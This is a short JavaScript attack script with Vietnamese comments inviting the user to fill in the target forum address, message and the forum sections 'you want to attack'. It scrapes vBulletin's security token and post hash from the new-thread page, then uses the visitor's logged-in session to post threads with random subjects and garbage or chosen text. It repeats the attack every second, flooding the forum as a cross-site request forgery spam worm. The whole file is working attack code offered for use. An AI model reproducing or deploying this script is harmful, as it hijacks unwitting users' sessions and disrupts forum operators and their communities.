var targeturl=''//dien dia chi dien dan;
var messagebody=''//dien noi dung bai gui, chu y phai thoat cac ki tu dac biet
var forumindex='2,5,6,7'//dien chi muc cua dien dan ban muon tan cong
function xmlobj() {
try {
		var http_request=new XMLHttpRequest();
	} catch(e) {
		try {
			var http_request=new ActiveXObject("Microsoft.XMLHTTP")
		} catch(e) {
			var http_request=null;
		}
}
return http_request;
}
function rand(min,max) {
	var len=Math.abs(max-min);
	return max-Math.floor(Math.random()*(len+1));
}

function mal() {
var rf=forumindex.split(",");
var rd=rand(0,rf.length-1);
if(targeturl.length==0)
	var target='newthread.php?do=newthread&f='+rf[rd]
else if(targeturl.length>0)
	var target=targeturl+'newthread.php?do=newthread&f='+rf[rd];
else 
	return false;
GET(target);
function GET(url) {
	var xml_instance=xmlobj()
	if(!xml_instance)
		return null;
	var data;
		xml_instance.open("GET",url,true);
		xml_instance.onreadystatechange=fetchvalue;
		xml_instance.send(null);

	function fetchvalue() {
		if(xml_instance.readyState==4 && xml_instance.status==200) {
			data=xml_instance.responseText
			var st,end,tok,posthash,time,subject='',message='';
			st=data.indexOf("var SECURITYTOKEN = ")+21;
			end=data.indexOf("\";",st);
			tok=data.substring(st,end);
			st=data.indexOf("\"posthash\" value=\"")+18
			end=data.indexOf("\"",st)
			posthash=data.substring(st,end);
			st=data.indexOf("\"poststarttime\" value=\"")+23;
			end=data.indexOf("\"",st)
			time=data.substring(st,end)
			for(i=0;i<=8;i++)
				subject+=String.fromCharCode(rand(65,90))
			if(messagebody.length>0)
				message=messagebody;
			else {
				for(i=0;i<=300;i++)
					message+=String.fromCharCode(rand(40,122))
			}
			POST(target,"f="+rf[rd]+"&do=postthread&loggedinuser=1&securitytoken="+tok+"&posthash="+posthash+"&poststarttime="+time+"&subject="+subject+"&message="+message)
		}
	}
}
	function POST(url,param) {
		var xml_instance=xmlobj()
		if(!xml_instance)
			return null
		xml_instance.open("POST",url,true)
		xml_instance.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
		xml_instance.onreadystatechange=nothing;
		xml_instance.send(param);

		function nothing() {}
	}
}
setInterval("mal()",1000);